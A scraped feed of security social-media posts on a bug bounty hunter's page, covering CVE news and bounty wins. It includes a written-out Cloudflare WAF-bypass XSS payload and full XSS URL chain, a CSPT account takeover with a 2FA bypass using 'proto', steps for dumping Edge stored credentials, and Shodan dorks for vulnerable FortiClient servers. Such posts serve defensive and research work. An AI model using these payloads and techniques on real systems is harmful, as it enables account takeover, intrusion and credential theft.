Toufik Touhami

Bug bounty hunter

[Toufik Touhami @flipdotbet]

Yuy, i was awarded 5,000$ in less than 24h.
Such an amazing platform @BugRap_Team

[Toufik Touhami @flipdotbet]

🔴 Found a hardcoded Azure SAS token in a major gambling operator's frontend--- full read/write/delete access to their entire CDN until 2050. The site serves 1.6 million monthly visitors. All because credentials were in the JS file.

[ggwhyp @ggwhyp]

I was hoping to compete in Pwn2Own with a Firefox full-chain entry, but unfortunately it was rejected. I’ve reported the vulnerability to the Mozilla team.

[Cyber Security News @The_Cyber_News]

⚠️ Critical Apache HTTP Server Flaw Exposes Millions of Servers to RCE Attacks

Source: https://t.co/nyaOOtouZa

The Apache Software Foundation has released a critical security update for Apache HTTP Server, patching five vulnerabilities, including a dangerous double-free flaw capable of enabling Remote Code Execution (RCE) in version 2.4.67, released on May 4, 2026.

All users running version 2.4.66 or earlier are strongly urged to upgrade immediately. The most severe of the five vulnerabilities is CVE-2026-23918, rated High with a CVSS base score of 8.8.

The flaw is a double-free memory corruption bug triggered within Apache's HTTP/2 protocol implementation during an "early stream reset" sequence.

#cybersecuritynews #vulnerability

[dbugs @ptdbugs]

🔐 Account Takeover via CSPT with Subsequent 2FA Bypass through Prototype Chain

Step 1. Client-Side Path Traversal

The CSPT primitive is fairly typical: the attacker changes the invite-sending request path "PUT /api/v2/teams/<teamId>/invites/<inviteId>" to the email-change endpoint "PUT /api/v2/user".`
`
As a result, when the victim follows the invite link, the client sends a request that changes the victim’s email address to one controlled by the attacker.

The interesting part is that CSPT only gives control over the URL, not the request body. According to HTTP semantics, PUT usually carries the new resource state in the request body. In this case, however, the server did not strictly require the new email to be supplied in the body and accepted it from a query parameter instead. This made account takeover possible.

Step 2. 2FA Bypass via Prototype Chain

Next, the researcher needed to log in to the compromised account and pass the OTP check. This was bypassed by sending "proto" instead of a valid code.

The issue relies on JavaScript property lookup. When reading an object property, JavaScript first checks the object’s own keys; if the key is not found, it continues up the prototype chain to "Object.prototype".

Based on the observed behavior, the server likely checked OTP validity with logic similar to:
│
│ if (pendingCodes[code]) {
│ // issue session
│ }
│

When the attacker sent: "X-2FA-Code: proto" there was no own key named "proto" in "pendingCodes", but "proto" is an inherited property available on ordinary JavaScript objects. Therefore, "pendingCodes["proto"] "returned the object prototype — a truthy value. The condition passed, and the server issued a session.

📎 Article: https://t.co/dcIcRdn0JR

#dbugs_attacks

[H4x0r.DZ @h4x0r_dz]

Reproducing a Double Free RCE in Apache CVE-2026-23918 on the most used software on the internet with one prompt that costs like $0.001 via DeepSeek is scary as hell.

Now, anyone with zero knowledge can hack the internet.

(Not default installs though. You need mod_http2 enabled.)

[International Cyber Digest @IntCyberDigest]

‼️🚨 Microsoft calls this "intended behaviour," so here we go.

How to dump the credentials of every user stored in Microsoft Edge:

1. Open Edge. Don't browse anywhere, just open it.
2. Flip to Task Manager, find Edge, expand the task.
3. Highlight the "browser" sub-task, right-click, and choose "Create Memory Dump."
4. Open the dump file and look for credentials.

The logged-in Windows user can dump every stored Edge credential with no additional rights. Which means any malware that user executes has those credentials for the asking.

Thanks to Rob VandenBrink at SANS: https://t.co/ebtVZxne4L

[Nick G @kallsyms]

🚨 0-day alert! GPT 5.5 has found and exploited a network accessible RCE in Mac OS 9.2.1 🚨

[Vercel @vercel]

We’ve identified a security incident that involved unauthorized access to certain internal Vercel systems, impacting a limited subset of customers. Please see our security bulletin:
https://t.co/0S939n3qHC

[NullSecurityX @NullSecurityX]

CVE-2026-21643 "FortiGhost" : Pre-Auth SQLi RCE in FortiClientEMS

Useful Google/Shodan Dorks:
- http.title:"FortiClient EMS" "7.4.4"
- http.html:"FortiClient Enterprise Management Server"
- http.favicon.hash: -specific-hash (or search for EMS login page)

[NullSecurityX @NullSecurityX]

Exploit PoC Telegram Web app XSS / Session Hijacking 1-click
The XSS vulnerability is triggered using the event type web_app_open_link via postMessage. (CVE-2024–33905)
https://t.co/cGj0ywhSMA

[Toufik Touhami @flipdotbet]

@JamilKhabir396 Hi

[Toufik Touhami @flipdotbet]

Cloudflare XSS WAF Bypass
"&gt;&lt;iMg sRc=x oNlY=1 oNeRrOr=(alert)(document.domain)&gt;

[trace37 @trace37_labs]

Just submitted an elegant reflected XSS via 3-part CVE chain + Cloudflare WAF bypass.

Full payload breakdown 🧵:

The full URL:

https://[REDACTED]/?__wpdmxp=%27%5D%5B/wpdm_package%5D%5Bwpdm_user_dashboard%5D%5Bwpdm_package%20id=%27&redirect_to=%26quot;%3E%3CiMg%20sRc=x%20oNlY=1%20oNeRrOr=(alert)(document.domain)%3E

The payload appears in HTML as...

[TheOuts1derX @TheOuts1derX]

WAF Bypass Cheat Sheet

Cloudflare, Akamai, AWS WAF, ModSecurity, Imperva, F5 BIG-IP, Sucuri, Wordfence, Azure WAF, FortiWeb, Barracuda

Detection tips + XSS, SQLi, RCE, SSRF and Path Traversal bypasses for each one

Full database with 150+ payloads inside Bug Bounty Center → https://t.co/iP2Vdar8Tk

Try it free for 30 days

#BugBounty #BugBountyTips #WAF #WebSec #AppSec #Cybersecurity

[Who said what? @g0njxa]

Watch out for fake @mullvadnet VPN results delivering signed Powershell-loader malware!

mullvad-vpn[.]us[.]org >> mullvad-download[.]org

Sample: a4b6e81233ca2b8a4c6ace3da6344a7e0a8df92ee06c4763c7b18001c169b133

signed "Xiamen Quanlian Information Technology Co., Ltd." (Sectigo)

Detonation: https://t.co/hoLoCthQeG

This malware executes obfuscated Powershell code from metrics.msft17[.]com/run/XYaR5gFi (Find it here 7b7c3c662d06de7dd0bc41a6fee99cd6d460d204aab7ade67e321bebf04b7447)

The malware uses host events[.]ms709[.]com as a botnet C2 with encoded communications

[Intigriti @intigriti]

Several ways to enumerate links & URLs (including some cool recon techniques!) 👇

> Crawling (with separate UAs)
> Content discovery (with different HTTP methods & content types)
> Web archives (Internet Archive + URL shortener archives)
> Google & Github/GitLab dorking
> Analyzing JavaScript files (including previous, archived versions)
> Scraping API & product docs
> Mobile app analysis (static & dynamic!)
> Third-party integrations (Postman, Insomnia, etc.)

[VIEH Group @viehgroup]

🔥 Low =&gt; Critical ?

Tip:- When find phpinfo search about [db_password ,db_username]

credit: @111xNagashy

#bugbountytips #BugBounty #infosec

[Toufik Touhami @flipdotbet]

How a Simple GraphQL Query Exposed Facebook Page Admins and Their Personal Emails — A $15,000 Bug… https://t.co/OzlMx5vXbJ

[Toufik Touhami @flipdotbet]

RCE via Insecure JS Sandbox Bypass https://t.co/Nb0DiujQT2